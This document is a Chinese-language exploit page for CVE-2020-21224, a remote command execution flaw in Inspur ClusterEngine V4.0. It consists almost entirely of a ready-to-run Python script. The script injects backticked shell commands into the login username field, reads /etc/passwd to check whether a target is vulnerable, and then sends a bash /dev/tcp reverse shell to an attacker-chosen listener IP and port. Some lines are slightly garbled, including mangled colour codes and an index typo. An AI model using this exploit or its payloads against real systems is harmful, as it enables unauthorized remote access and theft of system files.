CVE-2020-21224 浪潮ClusterEngineV4.0 远程命令执行漏洞/zh-cn

漏洞影响

浪潮ClusterEngineV4.0

EXP

import requests
import sys
import random
import re
from requests.packages.urllib3.exceptions import InsecureRequestWarning

def title():
    print('+------------------------------------------')
    print('+  \03334mPOC_Des: http://wiki.peiqi.tech                                   \0330m')
    print('+  \03334mGithub : https://github.com/PeiQi0                                 \0330m')
    print('+  \03334m公众号  : PeiQi文库                                                   \0330m')
    print('+  \03334mVersion: 浪潮ClusterEngineV4.0                                     \0330m')
    print('+  \03336m使用格式:  python3 poc.py                                            \0330m')
    print('+  \03336mUrl         >>> http://xxx.xxx.xxx.xxx                             \0330m')
    print('+  \03336mIP          >>> xxx.xxx.xxx.xxx:9999                              \0330m')
    print('+  \03336mPORT        >>> 9999                                              \0330m')
    print('+------------------------------------------')

def POC_1(target_url):
    vuln_url = target_url + "/login"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
        "Content-Type": "application/x-www-form-urlencoded",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
    }
    data = "op=login&username=test`$(cat /etc/passwd)`"
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.post(url=vuln_url, headers=headers, data=data, verify=False, timeout=4)
        etc_passwd = re.findall(r'\{"err":"/bin/sh: (.*?): No such', response.text)
        if response.status_code == 200 and "root:x:0:0" in response.text:
            print("\03332mo    目标 {} 可能存在漏洞, 响应为:{} \0330m".format(target_url, etc_passwd0))
            POC_2(target_url)
        else:
            print("\03331mx 目标 {} 不存在漏洞 \0330m".format(target_url))
    except Exception as e:
        print("\03331mx 目标 {} 请求失败 \0330m".format(target_url))

def POC_2(target_url):
    IP = str(input("\03335m请输入监听IP   >>> \0330m"))
    PORT = str(input("\03335m请输入监听PORT >>> \0330m"))
    vuln_url = target_url + "/login"
    headers = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36",
        "Content-Type": "application/x-www-form-urlencoded",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
    }
    data = "op=login&username=`bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F{}%2F{}%200%3E%261`".format(IP, PORT)
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.post(url=vuln_url, headers=headers, data=data, verify=False)
    except Exception as e:
        print("\03331mx 目标 {} 请求失败 \0330m".format(target_url))

if __name__ == '__main__':
    title()
    target_url = str(input("\03335mPlease input Attack Url\nUrl    >>> \0330m"))
    POC_1(target_url)